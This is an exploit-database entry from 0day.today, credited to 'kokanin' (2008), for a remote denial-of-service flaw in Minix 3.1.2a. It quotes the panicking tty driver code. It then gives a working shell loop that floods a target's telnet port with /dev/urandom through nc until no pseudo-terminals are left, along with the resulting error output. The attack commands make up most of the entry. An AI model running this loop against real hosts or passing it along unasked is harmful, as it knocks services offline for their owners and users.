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minix 3.1.2a tty panic Remote Denial of Service Vulnerability

Author
kokanin
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-6568
Category
dos / poc
Date add
24-07-2008
Platform
minix
=============================================================
minix 3.1.2a tty panic Remote Denial of Service Vulnerability
=============================================================





# kokanin@gmail 20080724
# minix 3.1.2a remote tty panic

trunk/src/drivers/tty/tty.c

 14965	  if ((status = send(replyee, &tty_mess)) != OK) {
 14966	        panic("TTY","tty_reply failed, status\n", status);


$ (while true ; do sleep 1 && killall nc 2>/dev/null; done) &
$ while true ; do cat /dev/urandom | nc 192.168.1.42 23 ; done
[snip garbage]
I am sorry, but there is no free PTY left!
$ fg
$ ^C

hai, no moar pty, remotely, kthxbye
--
kokanin



#  0day.today [2024-11-15]  #